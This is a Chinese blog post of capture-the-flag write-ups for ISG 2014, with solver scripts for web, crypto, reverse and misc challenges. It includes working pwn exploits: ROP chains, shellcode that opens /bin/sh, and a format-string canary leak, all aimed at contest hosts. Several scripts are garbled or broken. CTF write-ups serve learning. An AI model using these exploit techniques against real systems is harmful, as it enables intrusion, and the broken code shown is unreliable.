ISG2014 Writeups

Sasiki 2014-10-11 17:33:00
CTF

所有文件打包下载:ISG.zip

Smile Web 200

php 源代码审计

Cryptobaby Crypto 100

按照程序逻辑,把 0x403018 处的数据按 131 进制分开成字符即可。

Pwnme Exploit 300

漏洞为很明显的栈溢出,但没有提供 libc,需要自行获取 libc 中的函数地址。

在这里我们使用 pwntools 来获取 system 的地址,把参数写在 data 段并最终执行。

执行 system 时有很奇怪的偏移问题这里稍微调整了一下最后执行 system gadget 在栈上的位置。

#!/usr/bin/env python2
from zio import * 
from pwn import *

@MemLeak
def leak_write(addr):
    io.read_until('Pwn me if you can:\n')
    payload = 'A' * 24 + l64(poprdi) + l64(1) + l64(poprsi) + l64(addr) + junk +
l64(write_plt) + l64(main) 
    io.write(payload.ljust(0x100, 'A'))
    ret = io.read(256) 
    return ret

target = './pwnme'
target = ('202.120.7.69', 34343)

poprdi = 0x400663
poprsi = 0x400661 # pop rsi; pop r15; ret ret = 0x400664
write_got = 0x601018
write_plt = 0x400480
main = 0x4005bd
junk = 'J' * 8
data = 0x601040
read_plt = 0x4004a0

io = zio(target, print_read=False, print_write=False, timeout=100000)

elf = DynELF('./pwnme', leak_write) 
system = elf.lookup('system') 
log.success('system: %s' % hex(system))

io.read_until('Pwn me if you can:\n')
payload = 'A' * 24 + l64(poprdi) + l64(0) + l64(poprsi) + l64(data) + junk + l64(read_plt) + l64(poprdi) + l64(data) + l64(ret) * 5 + l64(system)
io.write(payload.ljust(0x100, 'A'))
io.write('cat /home/pwnme/flag\0'.ljust(0x100, 'A'))
io.interact()

SQLMAP Misc 100

题目提供了 sqlmap 运行时的流量,按照 SQL 语句及执行结果推断每个字节即可。

#!/usr/bin/env python2

import sys, re

def remove(idx, sign, value):
    sub = xrange(0, value) if sign == '<' else xrange(value + 1, 256) 
    for i in sub:
      if i in ans[idx]: 
          ans[idx].remove(i)

f = open(sys.argv[1]).read().strip().split('\n') 
f = map(lambda x: x.split(':', 2)[1:], f)
ans = [set(xrange(256)) for _ in xrange(40)]

for x in f:
    sql = x[0]
    mo = re.search(r'LIMIT 0,1\),(\d+),1\)\)([><])(\d+)', sql) 
    if mo:
        idx, sign, v = mo.groups() 
        idx = int(idx)
        v = int(v)
        #print idx, sign, v
        if len(x[1].strip()) == 0:
            remove(idx, sign, v) 
        else:
            if sign == '<':
                remove(idx, '>', v - 1)
            else:
                remove(idx, '<', v + 1)

for i in xrange(len(ans)): 
    if len(ans[i]) == 1:
        sys.stdout.write(chr(list(ans[i])[0]))
print

###WANGRANGE Reverse 100

逆向发现,输出只和所有输入字符的 XOR 结果和字符长度有关,要构造“ISG{”开头的输出,首先 解出 4 个关键的数,然后依次生成完整的输出字符串。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python2
dict_ = {'P':'+', 'M':'-', 'U':'*', 'V':'/', 'X':'^', ' ':')&0xffffffff)'} 
for i in xrange(10):
    dict_[chr(ord('A') + i)] = str(i)

def calc(num, s): 
    ss = ''
    count = 0
    for i in xrange(len(s)):
        ss += dict_[s[i]] 
        if s[i] == ' ':
            count += 1 
    if ss[0] in '0123456789'
        ss = str(num) + '+' + ss 
    else:
        ss = str(num) + ss
    ss = count * 2 * '(' + ss 
    return ss

exe = open('wangrange_b3e5c26e63ac1af881a1afe734a4a439').read() 
data = exe[0x15b4:0x1a83 - 0x11b4 + 0x15b4]
i=0
lines = []
for line in data.split('\x20\0'):
    line = line.replace('\0' , '' ).strip()
    if line != '':
        lines.append(line) 
        i += 1

PREFIX = 'ISG{' 
keys = {}
for i in xrange(4):
    for k in xrange(256):
        if eval(calc(k, lines[i])) % 256 == ord(PREFIX[i]):
            keys[i] = k

flag = ''
for i in xrange(len(lines)):
    c = chr(eval(calc(keys[i % 4], lines[i])) % 256) 
    flag += c

print ' % flag

哼!Misc 200

发现附件中有两张图片,分别另存为 bmp 后做 diff 发现左下角处的像素不同,其中一张固定为 0 或 1。把不同部分的 01 串提取出来按 8bit 组成一个字节即为 flag。

Chopper Misc 100

把流量中下载 x.tar.gz 部分提取出来解压即为 flag。

RSA SYSTEM Crypto 250

使用选择密文攻击的方法即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python2
from zio import * 
import fractions

def encrypt(x): 
    io.read_until('Command:\n') 
    io.writeline('1') 
    io.read_until('Input Plaintext:\n') 
    io.writeline(str(x)) 
    io.read_until('Your ciphertext:\n') 
    return int(io.readline())

def secret(): 
    io.read_until('Command:\n') 
    io.writeline('3') 
    io.read_until('I have no bug\n') 
    return int(io.readline())

def decrypt(x): 
    io.read_until('Command:\n') 
    io.writeline('2') 
    io.read_until('Input Ciphertext:\n') 
    io.writeline(str(x)) 
    io.read_until('Your plaintext:\n') 
    return int(io.readline())

HOST = '202.120.7.71'
PORT = 43434
io = zio((HOST, PORT))
t2 = encrypt(2) ** 2 - encrypt(4) t3 = encrypt(3) ** 2 - encrypt(9) n = fractions.gcd(t2, t3)
ans = secret() * encrypt(2) % n
ans = decrypt(ans)
print hex(ans / 2)[2:-1].decode('hex')

Find Shell Web 200

windows + apache2 短文件名,上传任意文件后用文件名 md5 的前 6 位加上~1 即可访问到上传 的东西,内容即是 FLAG。

Track4! Reverse 200

先通过逆向大致看懂程序逻辑,考虑到 FLAG 包含 ISG{},可以从 trace 中定位到 00401178 处含 有 flag。把第 8,16,24,...次执行到该语句时的字符拼起来即为 flag。

X-Area Web 300

首先是社工部分,可以找到hack.the.life@gmail.com 的密码泄露过,是 zasada911,但很想吐 槽的是为啥这个密码是 zasada。。。。

进去之后就是简单的 php 源代码审计,需要跑一个 hash,然后解码:

AFERE Misc 200

使用这个工具解压 apk:https://github.com/blueboxsecurity/DalvikBytecodeTampering

验证算法为 DES+base64 的简单替换,写脚本求解即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python2
from base64 import b64decode 
from Crypto.Cipher import DES

base64_chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
chars ='S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+*'
dict_ = {}
for i in xrange(len(chars)):
    dict_[chars[i]] = base64_chars[i]

ciphertext = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'
new_ciphertext = ''
for c in ciphertext:
    new_ciphertext += dict_[c][/c]

ciphertext = b64decode(new_ciphertext) 
key = 'Mem3d4Da'
des = DES.new(key, DES.MODE_ECB)
flag = des.decrypt(ciphertext)
print ' % flag : s%' % flag

###Checkin Exploit 200

调试发现,在溢出函数的返回点上,输入字符串的结尾 8 字节存储在了 rbp 中,因此在这里存储 上/bin/sh,再构造 shellcode 即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python2
from zio import *

# shellcode(rbp => '/bin//sh'): 
#a: 99              cltd
#b: 89 de           mov %ebx,%esi 
#d: 53              push %rbx
#e: 55              push %rbp
#f: 48 89 e7        mov %rsp,%rdi 
#12: 6a 3b          pushq $0x3b
#14: 58             pop %rax
#15: 0f 05          syscall    

call_rax = 0x40070d
shellcode = '9989de53554889e76a3b580f05'.decode('hex') + '\x90' + '/bin//sh'

host = '202.120.7.73' 
port = 44445
io = zio((host, port))

payload = shellcode + l64(call_rax)[:6] 
io.write(payload)

io.interact()

GIF Misc 50

GIF 第二帧为一二维码,内容即为 flag。

丫丫 Crypto 400

流量中包含了 7 组公钥和密文。考虑到 e=3,使用 Håstad's Broadcast Attack 方法,可使用中国剩余定理对原文求解。发现 7 组原文并不完全相同,从中枚举 3 个尝试解密最终获得 flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python2
from operator import mod, mul, sub, add 
import re, os, collections, sys
import fractions
import itertools

def eea(a,b):
    """Extended Euclidean Algorithm for GCD""" 
    v1 = [a,1,0]
    v2 = [b,0,1]
    while v2[0]<>0:
        p = v1[0]//v2[0] # floor division
        v2, v1 = map(sub,v1,[p*vi for vi in v2]), v2 
    return v1

def inverse(m,k): 
    """
    Return b such that b*m mod k = 1, or 0 if no solution 
    """
    v = eea(m,k)
    return (v[0]==1)*(v[1] % k)

def crt(ms, _as): 
    """
    Chinese Remainder Theorem:
    ms = list of pairwise relatively prime integers as = remainders when x is divided by ms
    (ai is 'each in as', mi 'each in ms')

    The solution for x modulo M (M = product of ms) will be:
    x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
    where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r. 
    """

    M = reduce(mul,ms) # multiply ms together 
    Ms=[M/miformiinms] #listofallM/mi
    ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ms)] # uses inverse,eea 
    return reduce(add,[ai*Mi*yi for ai,Mi,yi in zip(_as,Ms,ys)]) % M

def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n 
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2 
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
                high = mid
        else:
            return mid
    return mid + 1

div = []
rem = []

dic = collections.defaultdict(dict) 
base_dir = sys.argv[1]

for i in os.listdir(base_dir):
    if re.search('getEncryptionKey.*\.php', i):
        f = open(base_dir + '/' + i).read()
        n, rkey = re.search(r'"n":"([0-9a-f]+)".*?"rkey":"([0-9a-f]+)"', f).groups() 
        dic[rkey]['n'] = int(n, 16)

    if re.search('login.*\.php', i):
        f = open(base_dir + '/' + i).read()
        c, rkey = re.search(r'pwd=([0-9a-f]+)&rkey=([0-9a-f]+)', f).groups() 
        dic[rkey]['c'] = int(c, 16)

for rkey in itertools.combinations(dic, 3):
    div, rem = zip(*map(lambda x:(dic[x]['n'], dic[x]['c']), rkey))
    cube = crt(div, rem)
    for i in xrange(3):
        assert cube % div[i] == rem[i]

    x = find_invpow(cube, 3) 
    if x ** 3 != cube:
        continue
    print hex(x)[3:-1].decode('hex')

BT Reverse 350

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python2

s="g{3q9OLNZ_bVWCyJk l sh c ax r d6 A MY t Iv P 4u i TS Q eB n Xz o R7 H U2 p F5 G Km 8 Dw } Ej f "
msg = [3179, 2649, 729, 48, 487, 3189, 2177, 2650, 5789, 4380, 2160, 1350, 5789, 1736, 144, 2160, 4393, 1014, 5054, 3755, 49, 5789, 724, 5067, 6544, 2160, 3189, 724, 2160, 4368, 1743, 720, 1008, 293]

class Node: pass

def construct(it): 
    character = next(it) 
    if character != ' ':
        node = Node() 
        node.character = character 
        node.left = construct(it) 
        node.right = construct(it) 
        return node

it = iter(s)


root = construct(it) 
assert len(list(it)) == 0

lookup = {}
def traverse(node, depth, num):
    lookup[num] = node.character 
    depth += 1
    if node.left:
        traverse(node.left, depth, num + 48 * depth) 
    if node.right:
        traverse(node.right, depth, num + 49 * depth) 

traverse(root, depth=0, num=0)

print ''.join(lookup[x] for x in msg)

###Out of Space Misc 200

对.net 程序分析可知需要计算’ISG’* 0xfa00000000 的 sha1。于是写程序计算即可。需要注意.net 中的格式输出问题。

#include <openssl/sha.h> 
#include <cstdio> 
#include <cstring>

int main() {
    SHA_CTX c;
    SHA1_Init(&c);
    static const long BUF_SIZE = 3 << 10; 
    char buf[BUF_SIZE];
    for (int i = 0; i < BUF_SIZE; i += 3)
        memcpy(buf + i, "ISG", 3);
    long dest = 0xfa00000000L;
    long total = dest / (BUF_SIZE / 3);

    for (long i = 0; i < total; ++i) { 
        SHA1_Update(&c, buf, BUF_SIZE); 
        if (i % 0x100000 == 0)
            printf("%ld / %ld\n", i, total);
    }
    unsigned char ans[SHA_DIGEST_LENGTH]; 
    SHA1_Final(ans, &c);
    printf("ISG{");
    printf("%02x", ans[0]);
    for (int i = 1; i < SHA_DIGEST_LENGTH; ++i)
        printf("-%02x", ans[i]); 
    printf("}\n");
    return 0; 
}



Library Exploit 250

在 register 功能中只能输入 15 字节长度来触发格式化字符串漏洞,且%字符数量有限,因此考虑 用格式化字符串漏洞泄露出 stack canary,并将某关键计数改大,然后再利用 query 功能中的栈 溢出来获取 shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python2
from zio import *

target = ('202.120.7.68', 23333)
io = zio(target, print_read=False, print_write=False) 

count_addr = 0x804b008

io.read_until('4. Quit\n') 
io.write('1\n')

payload = l32(count_addr + 3) + '%35$p%10$hn\n' 
io.write(payload)
io.read_until('0x')
canary = io.read(8).decode('hex')[::-1]
print '[+] canary : %s' % canary.encode('hex')
io.read_until('4. Quit\n')

put_plt = 0x8048520 
printf_got = 0x804afc8 
read_plt = 0x80484d0 
junk = 'JJJJ'
popret = 0x8048c3f
pop3ret = 0x8048c3d
new_stack = 0x804bf30
leave_ret = 0x8048aa6


io.write('2\n')
payload = 'A' * 0x100 + canary + 'A' * 12
payload += l32(put_plt) + l32(popret) + l32(printf_got)
payload += l32(read_plt) + l32(pop3ret) + l32(0) + l32(new_stack) + l32(32)
payload += l32(popret) +  l32(new_stack) + l32(leave_ret)
payload += '\n'

io.write(payload) 
io.read_until(':\'(\n')
printf = l32(io.read(4))
print '[+] printf : %s' % hex(printf)
system = printf - 0x4d1f0 + 0x40100 
binsh = printf - 0x4d1f0 + 0x161304 
print '[+] system : %s' % hex(system) 
print '[+] binsh : %s' % hex(binsh)

payload = junk + l32(system) + junk + l32(binsh) 
io.write(payload.ljust(32, 'A'))

io.interact()

Safesite Web 400

Up-to-Date Web 100

bash 漏洞,flag 在/var/www 下 

评论

路人甲 2014-10-12 00:34:25

Re1做了整整大半天。而且才100分。

T

testKaI 2014-10-13 13:50:16

前排占楼,顺便,这次只做了一半出来,那些逆向的真心无力。

I

insight-labs 2014-10-14 18:58:25

RSA那道题跑N跑了好久,中间还会connection reset……理论上1024个请求就能跑出来,实际估计用了10000次请求

H

hello 2014-10-18 19:38:45

你那个分析SQLMAP.pcap的脚本不行啊
Traceback (most recent call last):
File "sql.py", line 14, in
sql = x[0]
IndexError: list index out of range

S

Sasiki

未完成的事,就慢慢完成吧!

twitter weibo github wechat

随机分类

PHP安全 文章:45 篇
网络协议 文章:18 篇
事件分析 文章:223 篇
SQL注入 文章:39 篇
Windows安全 文章:88 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录